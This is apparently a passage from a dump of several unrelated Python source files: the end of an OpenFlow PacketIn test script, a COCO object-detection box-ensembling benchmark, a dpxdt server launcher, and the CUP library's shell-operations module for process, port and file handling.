response, _ = mystream.sr(Raw(packet.pack()))
print(unpack(bytes(response.res[0].answer)))
t = Thread(target=echo_loop, args=(mystream, response))
t.start()
i = 0
while i < 3:
print("Sending PACKET_IN")
packet_in = PacketIn(buffer_id=int(1), total_len=int(len(b"Bobi! Bobi!")),
reason=PacketInReason.OFPR_INVALID_TTL, data=b"Bobi! Bobi!",
table_id=UBInt8(0), cookie=UBInt64(random.randint(0, 100)))
mystream.send(Raw(packet_in.pack()))
sleep(1)
i += 1
t.join()
dpid = DPID("00:00:02:42:48:8a:76:9e")
tlv_dpid = TLV_DPID(0, len(dpid.pack()), dpid.pack().hex().encode())
print(":".join([tlv_dpid.value[idx:idx + 2:].decode() for idx in list(range(0, len(tlv_dpid.value), 2))]))
finally:
print('closing socket')
sock.close()
|
run_benchmark.py | # coding: utf-8
__author__ = 'ZFTurbo: https://kaggle.com/zfturbo'
import numpy as np
import pandas as pd
import json
import time
from pycocotools.coco import COCO
from pycocotools.cocoeval import COCOeval
from multiprocessing import Pool, Process, cpu_count, Manager
from ensemble_boxes import *
def get_coco_annotations_data():
file_in = 'instances_val2017.json'
images = dict()
with open(file_in) as json_file:
data = json.load(json_file)
for i in range(len(data['images'])):
image_id = data['images'][i]['id']
images[image_id] = data['images'][i]
return images
def get_coco_score(csv_path):
images = get_coco_annotations_data()
s = pd.read_csv(csv_path, dtype={'img_id': np.str, 'label': np.str})
out = np.zeros((len(s), 7), dtype=np.float64)
out[:, 0] = s['img_id']
ids = s['img_id'].astype(np.int32).values
x1 = s['x1'].values
x2 = s['x2'].values
y1 = s['y1'].values
y2 = s['y2'].values
for i in range(len(s)):
width = images[ids[i]]['width']
height = images[ids[i]]['height']
out[i, 1] = x1[i] * width
out[i, 2] = y1[i] * height
out[i, 3] = (x2[i] - x1[i]) * width
out[i, 4] = (y2[i] - y1[i]) * height
out[:, 5] = s['score'].values
out[:, 6] = s['label'].values
filename = 'instances_val2017.json'
coco_gt = COCO(filename)
detections = out
print(detections.shape)
print(detections[:5])
image_ids = list(set(detections[:, 0]))
coco_dt = coco_gt.loadRes(detections)
coco_eval = COCOeval(coco_gt, coco_dt, iouType='bbox')
coco_eval.params.imgIds = image_ids
coco_eval.evaluate()
coco_eval.accumulate()
coco_eval.summarize()
coco_metrics = coco_eval.stats
print(coco_metrics)
return coco_metrics, detections
def process_single_id(id, res_boxes, weights, params):
run_type = params['run_type']
verbose = params['verbose']
# print('Go for ID: {}'.format(id))
boxes_list = []
scores_list = []
labels_list = []
labels_to_use_forward = dict()
labels_to_use_backward = dict()
for i in range(len(res_boxes[id])):
boxes = []
scores = []
labels = []
dt = res_boxes[id][i]
for j in range(0, len(dt)):
lbl = dt[j][5]
scr = float(dt[j][4])
box_x1 = float(dt[j][0])
box_y1 = float(dt[j][1])
box_x2 = float(dt[j][2])
box_y2 = float(dt[j][3])
if box_x1 >= box_x2:
if verbose:
print('Problem with box x1 and x2: {}. Skip it'.format(dt[j]))
continue
if box_y1 >= box_y2:
if verbose:
print('Problem with box y1 and y2: {}. Skip it'.format(dt[j]))
continue
if scr <= 0:
if verbose:
print('Problem with box score: {}. Skip it'.format(dt[j]))
continue
boxes.append([box_x1, box_y1, box_x2, box_y2])
scores.append(scr)
if lbl not in labels_to_use_forward:
cur_point = len(labels_to_use_forward)
labels_to_use_forward[lbl] = cur_point
labels_to_use_backward[cur_point] = lbl
labels.append(labels_to_use_forward[lbl])
boxes = np.array(boxes, dtype=np.float32)
scores = np.array(scores, dtype=np.float32)
labels = np.array(labels, dtype=np.int32)
boxes_list.append(boxes)
scores_list.append(scores)
labels_list.append(labels)
# Empty predictions for all models
if len(boxes_list) == 0:
return np.array([]), np.array([]), np.array([])
if run_type == 'wbf':
merged_boxes, merged_scores, merged_labels = weighted_boxes_fusion(boxes_list, scores_list, labels_list,
weights=weights, iou_thr=params['intersection_thr'],
skip_box_thr=params['skip_box_thr'],
conf_type=params['conf_type'])
elif run_type == 'nms':
iou_thr = params['iou_thr']
merged_boxes, merged_scores, merged_labels = nms(boxes_list, scores_list, labels_list, weights=weights, iou_thr=iou_thr)
elif run_type == 'soft-nms':
iou_thr = params['iou_thr']
sigma = params['sigma']
thresh = params['thresh']
merged_boxes, merged_scores, merged_labels = soft_nms(boxes_list, scores_list, labels_list,
weights=weights, iou_thr=iou_thr, sigma=sigma, thresh=thresh)
elif run_type == 'nmw':
merged_boxes, merged_scores, merged_labels = non_maximum_weighted(boxes_list, scores_list, labels_list,
weights=weights, iou_thr=params['intersection_thr'],
skip_box_thr=params['skip_box_thr'])
# print(len(boxes_list), len(merged_boxes))
if 'limit_boxes' in params:
limit_boxes = params['limit_boxes']
if len(merged_boxes) > limit_boxes:
merged_boxes = merged_boxes[:limit_boxes]
merged_scores = merged_scores[:limit_boxes]
merged_labels = merged_labels[:limit_boxes]
# Rename labels back
merged_labels_string = []
for m in merged_labels:
merged_labels_string.append(labels_to_use_backward[m])
merged_labels = np.array(merged_labels_string, dtype=np.str)
# Create IDs array
ids_list = [id] * len(merged_labels)
return merged_boxes.copy(), merged_scores.copy(), merged_labels.copy(), ids_list.copy()
def process_part_of_data(proc_number, return_dict, ids_to_use, res_boxes, weights, params):
print('Start process: {} IDs to proc: {}'.format(proc_number, len(ids_to_use)))
result = []
for id in ids_to_use:
merged_boxes, merged_scores, merged_labels, ids_list = process_single_id(id, res_boxes, weights, params)
# print(merged_boxes.shape, merged_scores.shape, merged_labels.shape, len(ids_list))
result.append((merged_boxes, merged_scores, merged_labels, ids_list))
return_dict[proc_number] = result.copy()
def ensemble_predictions(pred_filenames, weights, params):
verbose = False
if 'verbose' in params:
verbose = params['verbose']
start_time = time.time()
procs_to_use = max(cpu_count() // 2, 1)
# procs_to_use = 6
print('Use processes: {}'.format(procs_to_use))
weights = np.array(weights)
res_boxes = dict()
ref_ids = None
for j in range(len(pred_filenames)):
if weights[j] == 0:
continue
print('Read {}...'.format(pred_filenames[j]))
s = pd.read_csv(pred_filenames[j], dtype={'img_id': np.str, 'label': np.str})
s.sort_values('img_id', inplace=True)
s.reset_index(drop=True, inplace=True)
ids = s['img_id'].values
unique_ids = sorted(s['img_id'].unique())
if ref_ids is None:
ref_ids = tuple(unique_ids)
else:
if ref_ids != tuple(unique_ids):
print('Different IDs in ensembled CSVs! {} != {}'.format(len(ref_ids), len(unique_ids)))
s = s[s['img_id'].isin(ref_ids)]
s.sort_values('img_id', inplace=True)
s.reset_index(drop=True, inplace=True)
ids = s['img_id'].values
preds = s[['x1', 'y1', 'x2', 'y2', 'score', 'label']].values
single_res = dict()
for i in range(len(ids)):
id = ids[i]
if id not in single_res:
single_res[id] = []
single_res[id].append(preds[i])
for el in single_res:
if el not in res_boxes:
res_boxes[el] = []
res_boxes[el].append(single_res[el])
# Reduce weights if needed
weights = weights[weights != 0]
ids_to_use = sorted(list(res_boxes.keys()))
manager = Manager()
return_dict = manager.dict()
jobs = []
for i in range(procs_to_use):
start = i * len(ids_to_use) // procs_to_use
end = (i+1) * len(ids_to_use) // procs_to_use
if i == procs_to_use - 1:
end = len(ids_to_use)
p = Process(target=process_part_of_data, args=(i, return_dict, ids_to_use[start:end], res_boxes, weights, params))
jobs.append(p)
p.start()
for i in range(len(jobs)):
jobs[i].join()
results = []
for i in range(len(jobs)):
results += return_dict[i]
# p = Pool(processes=procs_to_use)
# results = p.starmap(process_single_id, zip(ids_to_use, repeat(weights), repeat(params)))
all_ids = []
all_boxes = []
all_scores = []
all_labels = []
for boxes, scores, labels, ids_list in results:
if boxes is None:
continue
all_boxes.append(boxes)
all_scores.append(scores)
all_labels.append(labels)
all_ids.append(ids_list)
all_ids = np.concatenate(all_ids)
all_boxes = np.concatenate(all_boxes)
all_scores = np.concatenate(all_scores)
all_labels = np.concatenate(all_labels)
if verbose:
print(all_ids.shape, all_boxes.shape, all_scores.shape, all_labels.shape)
res = pd.DataFrame(all_ids, columns=['img_id'])
res['label'] = all_labels
res['score'] = all_scores
res['x1'] = all_boxes[:, 0]
res['x2'] = all_boxes[:, 2]
res['y1'] = all_boxes[:, 1]
res['y2'] = all_boxes[:, 3]
print('Run time: {:.2f}'.format(time.time() - start_time))
return res
def ensemble(benchmark_csv, weights, params, get_score_init=True):
if get_score_init:
for bcsv in benchmark_csv:
print('Go for {}'.format(bcsv))
get_coco_score(bcsv)
ensemble_preds = ensemble_predictions(benchmark_csv, weights, params)
ensemble_preds.to_csv("ensemble.csv", index=False)
get_coco_score("ensemble.csv")
if __name__ == '__main__':
if 0:
params = {
'run_type': 'nms',
'iou_thr': 0.5,
'verbose': True,
}
if 0:
params = {
'run_type': 'soft-nms',
'iou_thr': 0.5,
'thresh': 0.0001,
'sigma': 0.1,
'verbose': True,
}
if 0:
params = {
'run_type': 'nmw',
'skip_box_thr': 0.000000001,
'intersection_thr': 0.5,
'limit_boxes': 30000,
'verbose': True,
}
if 1:
params = {
'run_type': 'wbf',
'skip_box_thr': 0.001,
'intersection_thr': 0.7,
'conf_type': 'avg',
'limit_boxes': 30000,
'verbose': False,
}
in_dir = './'
benchmark_csv = [
in_dir + 'EffNetB0-preds.csv',
in_dir + 'EffNetB0-mirror-preds.csv',
in_dir + 'EffNetB1-preds.csv',
in_dir + 'EffNetB1-mirror-preds.csv',
in_dir + 'EffNetB2-preds.csv',
in_dir + 'EffNetB2-mirror-preds.csv',
in_dir + 'EffNetB3-preds.csv',
in_dir + 'EffNetB3-mirror-preds.csv',
in_dir + 'EffNetB4-preds.csv',
in_dir + 'EffNetB4-mirror-preds.csv',
in_dir + 'EffNetB5-preds.csv',
in_dir + 'EffNetB5-mirror-preds.csv',
in_dir + 'EffNetB6-preds.csv',
in_dir + 'EffNetB6-mirror-preds.csv',
in_dir + 'EffNetB7-preds.csv',
in_dir + 'EffNetB7-mirror-preds.csv',
in_dir + 'DetRS-valid.csv',
in_dir + 'DetRS-mirror-valid.csv',
in_dir + 'DetRS_resnet50-valid.csv',
in_dir + 'DetRS_resnet50-mirror-valid.csv',
in_dir + 'yolov5x_tta.csv',
]
weights = [0, 0, 0, 0, 0, 0, 0, 0, 4, 4, 5, 5, 7, 7, 9, 9, 8, 8, 5, 5, 10]
assert(len(benchmark_csv) == len(weights))
ensemble(benchmark_csv, weights, params, True)
|
run_server.py | #!/usr/bin/env python
# Copyright 2013 Brett Slatkin
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Runs the dpxdt server.
May provide the API server, queue workers, both together, or queue workers in
a local mode where they connect directly to the database instead of using
the API over HTTP.
"""
import logging
import os
import sys
import threading
# Local Libraries
import gflags
FLAGS = gflags.FLAGS
# Local modules
sys.path.append(".")
from dpxdt.client import capture_worker
from dpxdt.client import fetch_worker
from dpxdt.client import pdiff_worker
from dpxdt.client import timer_worker
from dpxdt.client import workers
from dpxdt import server
gflags.DEFINE_bool(
'enable_api_server', False,
'When true, run an API server on the local host.')
gflags.DEFINE_bool(
'enable_queue_workers', False,
'When true, run queue worker threads.')
gflags.DEFINE_bool(
'reload_code', False,
'Reload code on every request. Should only be used in local development.')
gflags.DEFINE_bool(
'ignore_auth', False,
'Ignore any need for authentication for API and frontend accesses. You '
'should only do this for local development!')
gflags.DEFINE_integer('port', 80, 'Port to run the HTTP server on.')
gflags.DEFINE_string('host', '0.0.0.0', 'Host argument for the server.')
def run_workers():
coordinator = workers.get_coordinator()
capture_worker.register(coordinator)
fetch_worker.register(coordinator)
pdiff_worker.register(coordinator)
timer_worker.register(coordinator)
coordinator.start()
logging.info('Workers started')
return coordinator
def main(block=True):
if FLAGS.verbose:
logging.getLogger().setLevel(logging.DEBUG)
logging.getLogger('werkzeug').setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
logging.getLogger('werkzeug').setLevel(logging.INFO)
if FLAGS.verbose_queries:
logging.getLogger('sqlalchemy.engine').setLevel(logging.DEBUG)
if FLAGS.verbose_workers:
logging.getLogger('dpxdt.client.workers').setLevel(logging.DEBUG)
if FLAGS.enable_queue_workers:
coordinator = run_workers()
# If the babysitter thread dies, the whole process goes down.
def worker_babysitter():
try:
coordinator.wait_one()
finally:
os._exit(1)
babysitter_thread = threading.Thread(target=worker_babysitter)
babysitter_thread.setDaemon(True)
babysitter_thread.start()
if FLAGS.ignore_auth:
server.app.config['IGNORE_AUTH'] = True
if block:
if FLAGS.enable_api_server:
server.app.run(
debug=FLAGS.reload_code,
host=FLAGS.host,
port=FLAGS.port)
elif FLAGS.enable_queue_workers:
coordinator.join()
else:
sys.exit('Must specify at least --enable_api_server or '
'--enable_queue_workers')
def run():
try:
FLAGS(sys.argv)
except gflags.FlagsError, e:
print '%s\nUsage: %s ARGS\n%s' % (e, sys.argv[0], FLAGS)
sys.exit(1)
main(block=True)
if __name__ == '__main__':
run()
|
oper.py | #!/usr/bin/python
# -*- coding: utf-8 -*
# Copyright: [CUP] - See LICENSE for details.
# Authors: Zhao Minghao, Guannan Ma
"""
:description:
shell operations related module
"""
from __future__ import print_function
import os
import sys
import time
import uuid
import tempfile
import shutil
import signal
import random
import hashlib
import platform
import warnings
import datetime
import threading
import subprocess
import cup
from cup import err
from cup import log
from cup import platforms
from cup import decorators
# linux only import
if platform.system() == 'Linux':
from cup.res import linux
__all__ = [
'rm', 'rmrf', 'kill',
'is_process_used_port', 'is_port_used', 'is_proc_exist',
'is_proc_exist', 'is_process_running',
'contains_file', 'backup_file',
'ShellExec'
]
# universal import (platform indepedent)
else:
__all__ = [
'contains_file', 'backup_file'
]
# linux functionalities {{
# pylint: disable=C0103
def rm(name):
"""
rm the file if no exception happens.
Will not raise exception if it fails
"""
try:
os.remove(name)
except OSError as error:
cup.log.warn("rm oserror: %s" % error)
def rmrf(fpath, safemode=True):
"""
:param fpath:
files/direcotry to be deleted.
:param safemode:
True by default. You cannot delete root / when safemode is True
"""
@decorators.needlinux
def _real_rmrf(fpath, safemode):
"""
real rmrf
"""
if safemode:
if os.path.normpath(os.path.abspath(fpath)) == '/':
raise err.ShellException('cannot rmtree root / under safemode')
if os.path.isfile(fpath):
os.unlink(fpath)
else:
shutil.rmtree(fpath)
return _real_rmrf(fpath, safemode)
def is_process_running(path, name):
"""
Judge if the executable is running by comparing /proc files.
:platforms:
linux only. Will raise exception if running on other platforms
:param path:
executable current working direcotry
:param name:
executable name
:return:
return True if the process is running. Return False otherwise.
"""
@decorators.needlinux
def _real_is_proc_exist(path, name):
"""
_real_is_proc_exist
"""
path = os.path.realpath(os.path.abspath(path))
cmd = 'ps -ef|grep %s|grep -v "^grep "|grep -v "^vim "|grep -v "^less "|\
grep -v "^vi "|grep -v "^cat "|grep -v "^more "|grep -v "^tail "|\
awk \'{print $2}\'' % (name)
ret = cup.shell.ShellExec().run(cmd, 10)
pids = ret['stdout'].strip().split('\n')
if len(pids) == 0 or len(pids) == 1 and len(pids[0]) == 0:
return False
for pid in pids:
for sel_path in ["cwd", "exe"]:
cmd = 'ls -l /proc/%s/%s|awk \'{print $11}\' ' % (pid, sel_path)
ret = cup.shell.ShellExec().run(cmd, 10)
pid_path = ret['stdout'].strip().strip()
if pid_path.find(path) == 0:
# print('%s is exist: %s' % (name, path))
return True
return False
return _real_is_proc_exist(path, name)
# for compatibility. Do not delete this line:
is_proc_exist = is_process_running
def _kill_child(pid, sign):
cmd = 'ps -ef|grep %s|grep -v grep|awk \'{print $2,$3}\'' % (pid)
ret = cup.shell.ShellExec().run(cmd, 10)
pids = ret['stdout'].strip().split('\n')
for proc in pids:
if len(proc) == 0:
continue
p_id = proc.split()
if p_id[1] == pid:
_kill_child(p_id[0], sign)
if p_id[0] == pid:
if len(sign) == 0:
cup.shell.execshell('kill %s' % pid)
elif sign == '9' or sign == '-9':
cup.shell.execshell('kill -9 %s' % pid)
elif sign == 'SIGSTOP' or sign == '19' or sign == '-19':
cup.shell.execshell('kill -19 %s' % pid)
elif sign == 'SIGCONT' or sign == '18' or sign == '-18':
cup.shell.execshell('kill -18 %s' % pid)
else:
cup.log.error('sign error')
def kill(path, name, sign='', b_kill_child=False):
"""
will judge if the process is running by calling function
(is_process_running), then send kill signal to this process
:param path:
executable current working direcotry (cwd)
:param name:
executable name
:param sign:
kill sign, e.g. 9 for SIGKILL, 15 for SIGTERM
:b_kill_child:
kill child processes or not. False by default.
"""
path = os.path.realpath(os.path.abspath(path))
# path = os.path.abspath(path)
cmd = 'ps -ef|grep %s|grep -v grep|awk \'{print $2}\'' % (name)
ret = cup.shell.ShellExec().run(cmd, 10)
pids = ret['stdout'].strip().split('\n')
for pid in pids:
cmd = 'ls -l /proc/%s/cwd|awk \'{print $11}\' ' % (pid)
ret = cup.shell.ShellExec().run(cmd, 10)
if ret['returncode'] != 0:
return False
pid_path = ret['stdout'].strip()
if pid_path.find(path) == 0 or path.find(pid_path) == 0:
if b_kill_child is True:
_kill_child(pid, sign)
if len(sign) == 0:
cup.shell.execshell('kill %s' % pid)
elif sign == '9' or sign == '-9':
cup.shell.execshell('kill -9 %s' % pid)
elif sign == 'SIGSTOP' or sign == '19' or sign == '-19':
cup.shell.execshell('kill -19 %s' % pid)
elif sign == 'SIGCONT' or sign == '18' or sign == '-18':
cup.shell.execshell('kill -18 %s' % pid)
else:
cup.log.error('sign error')
return True
def backup_file(srcpath, filename, dstpath, label=None):
"""
Backup srcpath/filename to dstpath/filenamne.label.
If label is None, cup will use time.strftime('%H:%M:S')
:dstpath:
will create the folder if no existence
"""
if label is None:
label = time.strftime('%H:%M:%S')
if not os.path.exists(dstpath):
os.makedirs(dstpath)
shutil.copyfile(
srcpath + '/' + filename, dstpath + '/' + filename + '.' + label
)
def backup_folder(srcpath, foldername, dstpath, label=None):
"""
same to backup_file except it's a FOLDER not a FILE.
"""
if label is None:
label = time.strftime('%H:%M:%S')
if not os.path.exists(dstpath):
os.makedirs(dstpath)
os.rename(
'%s/%s' % (srcpath, foldername),
'%s/%s' % (dstpath, foldername + '.' + label)
)
def is_path_contain_file(dstpath, dstfile, recursive=False, follow_link=False):
"""
use contains_file instead. Kept still for compatibility purpose
"""
return contains_file(dstpath, dstfile, recursive, follow_link)
def contains_file(dstpath, expected_name, recursive=False, follow_link=False):
"""
judge if the dstfile is in dstpath
:param dstpath:
search path
:param dstfile:
file
:param recursive:
search recursively or not. False by default.
:return:
return True on success, False otherwise
"""
path = os.path.normpath(dstpath)
fpath = os.path.normpath(expected_name.strip())
fullpath = '{0}/{1}'.format(path, expected_name.strip())
fullpath = os.path.normpath(fullpath)
if recursive:
for (_, __, fnames) in os.walk(path, followlinks=follow_link):
for filename in fnames:
if filename == fpath:
return True
return False
else:
if os.path.exists(fullpath):
return True
else:
return False
def is_port_used(port):
"""
judge if the port is used or not (It's not 100% sure as next second, some
other process may steal the port as soon after this function returns)
:platform:
linux only (netstat command used inside)
:param port:
expected port
:return:
return True if the port is used, False otherwise
"""
@decorators.needlinux
def __is_port_used(port):
"""internal func"""
cmd = "netstat -nl | grep ':%s '" % (port)
ret = cup.shell.ShellExec().run(cmd, 10)
if 0 != ret['returncode']:
return False
stdout = ret['stdout'].strip()
if 0 == len(stdout):
return False
else:
return True
return __is_port_used(port)
def is_process_used_port(process_path, port):
"""
judge if a process is using the port
:param process_path:
process current working direcotry (cwd)
:return:
Return True if process matches
"""
# find the pid from by port
cmd = "netstat -nlp | grep ':%s '|awk -F ' ' '{print $7}'|\
cut -d \"/\" -f1" % (port)
ret = cup.shell.ShellExec().run(cmd, 10)
if 0 != ret['returncode']:
return False
stdout = ret['stdout'].strip()
if 0 == len(stdout):
return False
dst_pid = stdout.strip()
# check the path
path = os.path.abspath(process_path)
for sel_path in ['exe', 'cwd']:
cmd = 'ls -l /proc/%s/%s|awk \'{print $11}\' ' % (dst_pid, sel_path)
ret = cup.shell.ShellExec().run(cmd, 10)
pid_path = ret['stdout'].strip().strip()
if 0 == pid_path.find(path):
return True
return False
class Asynccontent(object):
"""
make a Argcontent to async_run u have to del it after using it
"""
def __init__(self):
self.cmd = None
self.timeout = None
self.pid = None
self.ret = {
'stdout': None,
'stderr': None,
'returncode': 0
}
self.child_list = []
self.cmdthd = None
self.monitorthd = None
self.subproc = None
self.tempscript = None
class ShellExec(object): # pylint: disable=R0903
"""
For shell command execution.
::
from cup import shell
shellexec = shell.ShellExec()
# timeout=None will block the execution until it finishes
shellexec.run('/bin/ls', timeout=None)
# timeout>=0 will open non-blocking mode
# The process will be killed if the cmd timeouts
shellexec.run(cmd='/bin/ls', timeout=100)
"""
def __init__(self, tmpdir='/tmp/'):
"""
:param tmpdir:
shellexec will use tmpdir to handle temp files
"""
self._subpro = None
self._subpro_data = None
self._tmpdir = tmpdir
self._tmpprefix = 'cup.shell.{0}'.format(uuid.uuid4())
@classmethod
def kill_all_process(cls, async_content):
"""
to kill all process
"""
for pid in async_content.child_list:
os.kill(pid, signal.SIGKILL)
@classmethod
def which(cls, pgm):
"""get executable"""
if os.path.exists(pgm) and os.access(pgm, os.X_OK):
return pgm
path = os.getenv('PATH')
for fpath in path.split(os.path.pathsep):
fpath = os.path.join(fpath, pgm)
if os.path.exists(fpath) and os.access(fpath, os.X_OK):
return fpath
@classmethod
def get_async_run_status(cls, async_content):
"""
get the process status of executing async cmd
:return:
None if the process has finished.
Otherwise, return a object of linux.Process(async_pid)
"""
try:
async_process = linux.Process(async_content.pid)
res = async_process.get_process_status()
except err.NoSuchProcess:
res = None
return res
@classmethod
def get_async_run_res(cls, async_content):
"""
if the process is still running the res shoule be None,None,0
"""
return async_content.ret
def async_run(self, cmd, timeout):
"""
async_run
return a dict {uuid:pid}
self.argcontent{cmd,timeout,ret,cmdthd,montor}
timeout:returncode:999
cmd is running returncode:-999
"""
def _signal_handle():
"""
signal setup
"""
signal.signal(signal.SIGPIPE, signal.SIG_DFL)
def _target(argcontent, proc_cond):
argcontent.tempscript = tempfile.NamedTemporaryFile(
dir=self._tmpdir, prefix=self._tmpprefix,
delete=True
)
with open(argcontent.tempscript.name, 'w+b') as fhandle:
fhandle.write('cd {0};\n'.format(os.getcwd()))
fhandle.write(argcontent.cmd)
shexe = self.which('sh')
cmds = [shexe, argcontent.tempscript.name]
log.info(
'to async execute {0} with script {1}'.format(
argcontent.cmd, cmds)
)
try:
proc_cond.acquire()
argcontent.subproc = subprocess.Popen(
cmds, stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
preexec_fn=_signal_handle)
proc_cond.notify()
proc_cond.release()
except OSError:
proc_cond.notify()
proc_cond.release()
argcontent.ret['returncode'] = -1
argcontent.ret['stderr'] = (
'failed to execute the cmd, plz check it out\'s'
)
def _monitor(start_time, argcontent):
while(int(time.mktime(datetime.datetime.now().timetuple())) - int(start_time) <
int(argcontent.timeout)):
time.sleep(1)
if argcontent.subproc.poll() is not None:
self._subpro_data = argcontent.subproc.communicate()
argcontent.ret['returncode'] = argcontent.subproc.returncode
argcontent.ret['stdout'] = self._subpro_data[0]
argcontent.ret['stderr'] = self._subpro_data[1]
return
parent = linux.Process(argcontent.subproc.pid)
children = parent.children(True)
ret_dict = []
for process in children:
ret_dict.append(process)
argcontent.child_list = ret_dict
str_warn = (
'Shell "{0}"execution timout:{1}. To kill it'.format(
argcontent.cmd, argcontent.timeout)
)
self.kill_all_process(argcontent)
argcontent.ret['returncode'] = 999
argcontent.ret['stderr'] = str_warn
argcontent.subproc.terminate()
argcontent = Asynccontent()
argcontent.cmd = cmd
argcontent.timeout = timeout
argcontent.ret = {
'stdout': None,
'stderr': None,
'returncode': -999
}
proc_cond = threading.Condition(threading.Lock())
argcontent.cmdthd = threading.Thread(
target=_target, args=(argcontent, proc_cond))
argcontent.cmdthd.daemon = True
proc_cond.acquire()
argcontent.cmdthd.start()
start_time = int(time.mktime(datetime.datetime.now().timetuple()))
argcontent.cmdthd.join(0.1)
proc_cond.wait()
proc_cond.release()
if argcontent.subproc is not None:
argcontent.pid = argcontent.subproc.pid
argcontent.monitorthd = threading.Thread(target=_monitor,
args=(start_time, argcontent))
argcontent.monitorthd.daemon = True
argcontent.monitorthd.start()
#this join should be del if i can make if quicker in Process.children
argcontent.cmdthd.join(0.5)
return argcontent
def run(self, cmd, timeout):
"""
refer to the class description
:param timeout:
If the cmd is not returned after [timeout] seconds, the cmd process
will be killed. If timeout is None, will block there until the cmd
execution returns
:return:
{
'stdout' : 'Success',
'stderr' : None,
'returncode' : 0
}
returncode == 0 means success, while 999 means timeout
E.g.
::
import cup
shelltool = cup.shell.ShellExec()
print shelltool.run('/bin/ls', timeout=1)
"""
def _signal_handle():
"""
signal setup
"""
signal.signal(signal.SIGPIPE, signal.SIG_DFL)
def _trans_bytes(data):
"""trans bytes into unicode for python3"""
if platforms.is_py2():
return data
if isinstance(data, bytes):
try:
data = bytes.decode(data)
except Exception:
data = 'Error to decode result'
return data
def _pipe_asshell(cmd):
"""
run shell with subprocess.Popen
"""
tempscript = tempfile.NamedTemporaryFile(
dir=self._tmpdir, prefix=self._tmpprefix,
delete=True
)
with open(tempscript.name, 'w+') as fhandle:
fhandle.write('cd {0};\n'.format(os.getcwd()))
fhandle.write(cmd)
shexe = self.which('sh')
cmds = [shexe, tempscript.name]
log.info(
'cup shell execute {0} with script {1}'.format(
cmd, cmds)
)
self._subpro = subprocess.Popen(
cmds, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, preexec_fn=_signal_handle
)
self._subpro_data = self._subpro.communicate()
ret = {
'stdout': None,
'stderr': None,
'returncode': 0
}
cmdthd = threading.Thread(
target=_pipe_asshell, args=(cmd, )
)
cmdthd.start()
cmdthd.join(timeout)
if cmdthd.isAlive():
str_warn = (
'Shell "%s"execution timout:%d. Killed it' % (cmd, timeout)
)
warnings.warn(str_warn, RuntimeWarning)
parent = linux.Process(self._subpro.pid)
for child in parent.children(True):
os.kill(child, signal.SIGKILL)
ret['returncode'] = 999
ret['stderr'] = str_warn
self._subpro.terminate()
else:
self._subpro.wait()
times = 0
while self._subpro.returncode is None and times < 10:
time.sleep(1)
times += 1
ret['returncode'] = self._subpro.returncode
assert type(self._subpro_data) == tuple, \
'self._subpro_data should be a tuple'
ret['stdout'] = _trans_bytes(self._subpro_data[0])
ret['stderr'] = _trans_bytes(self._subpro_data[1])
return ret
def _do_execshell(cmd, b_printcmd=True, timeout=None):
"""
do execshell
"""
if timeout is not None and timeout < 0:
raise cup.err.ShellException(
'timeout should be None or >= 0'
)
if b_printcmd is True:
print('To exec cmd:{0}'.format(cmd))
shellexec = ShellExec()
return shellexec.run(cmd, timeout)
def execshell(cmd, b_printcmd=True, timeout=None):
"""
执行shell命令,返回returncode
"""
return _do_execshell(
cmd, b_printcmd=b_printcmd, timeout=timeout)['returncode']
def execshell_withpipe(cmd):
"""
Deprecated. Use ShellExec instead
"""
res = os.popen(cmd)
return res
def execshell_withpipe_ex(cmd, b_printcmd=True):
"""
Deprecated. Recommand using ShellExec.
"""
strfile = '/tmp/%s.%d.%d' % (
'shell_env.py', int(os.getpid()), random.randint(100000, 999999)
)
os.mknod(strfile)
cmd = cmd + ' 1>' + strfile + ' 2>/dev/null'
os.system(cmd)
if True == b_printcmd:
print(cmd)
fphandle = open(strfile, 'r')
lines = fphandle.readlines()
fphandle.close()
os.unlink(strfile)
return lines
def execshell_withpipe_str(cmd, b_printcmd=True):
"""
Deprecated. Recommand using ShellExec.
"""
return ''.join(execshell_withpipe_ex(cmd, b_printcmd))
def execshell_withpipe_exwitherr(cmd, b_printcmd=True):
"""
Deprecated. Recommand using ShellExec.
"""
strfile = '/tmp/%s.%d.%d' % (
'shell_env.py', int(os.getpid()), random.randint(100000, 999999)
)
cmd = cmd + ' >' + strfile
cmd = cmd + ' 2>&1'
os.system(cmd)
if b_printcmd:
print(cmd)
fhandle = open(strfile, 'r')
lines = fhandle.readlines()
fhandle.close()
os.unlink(strfile)
return lines
def is_proc_alive(procname, is_whole_word=False, is_server_tag=False, filters=False):
"""
Deprecated. Recommand using cup.oper.is_proc_exist
"""
# print procName
if is_whole_word:
cmd = "ps -ef|grep -w '%s'$ |grep -v grep" % procname
else:
cmd = "ps -ef|grep -w '%s' |grep -v grep" % procname
if is_server_tag:
cmd += '|grep -vwE "vim |less |vi |tail |cat |more "'
if filters:
if isinstance(filters, str):
cmd += "|grep -v '%s'" % filters
elif isinstance(filters, list):
for _, task in enumerate(filters):
cmd += "|grep -v '%s'" % task
cmd += '|wc -l'
rev = execshell_withpipe_str(cmd, False)
if int(rev) > 0:
return True
else:
return False
def forkexe_shell(cmd):
"""
fork a new process to execute cmd (os.system(cmd))
"""
try:
pid = os.fork()
if pid > 0:
return
except OSError:
sys.exit(1)
# os.chdir("/")
os.setsid()
# os.umask(0)
try:
pid = os.fork()
if pid > 0:
sys.exit(0)
except OSError:
sys.exit(1)
os.system(cmd)
def md5file(filename):
"""
compute md5 hex value of a file, return with a string (hex-value)
"""
if os.path.exists(filename) is False:
raise IOError('No such file: %s' % filename)
with open(filename, 'rb') as fhandle:
md5obj = hashlib.md5()
while True:
strtmp = fhandle.read(131072) # read 128k one time
if len(strtmp) <= 0:
break
if isinstance(strtmp, unicode):
md5obj.update(strtmp.encode('utf-8'))
else:
md5obj.update(strtmp)
return md5obj.hexdigest()
def kill9_byname(strname):
"""
kill -9 process by name
"""
fd_pid = os.popen("ps -ef | grep -v grep |grep %s \
|awk '{print $2}'" % (strname))
pids = fd_pid.read().strip().split('\n')
fd_pid.close()
for pid in pids:
os.system("kill -9 %s" % (pid))
def kill_byname(strname):
"""
kill process by name
"""
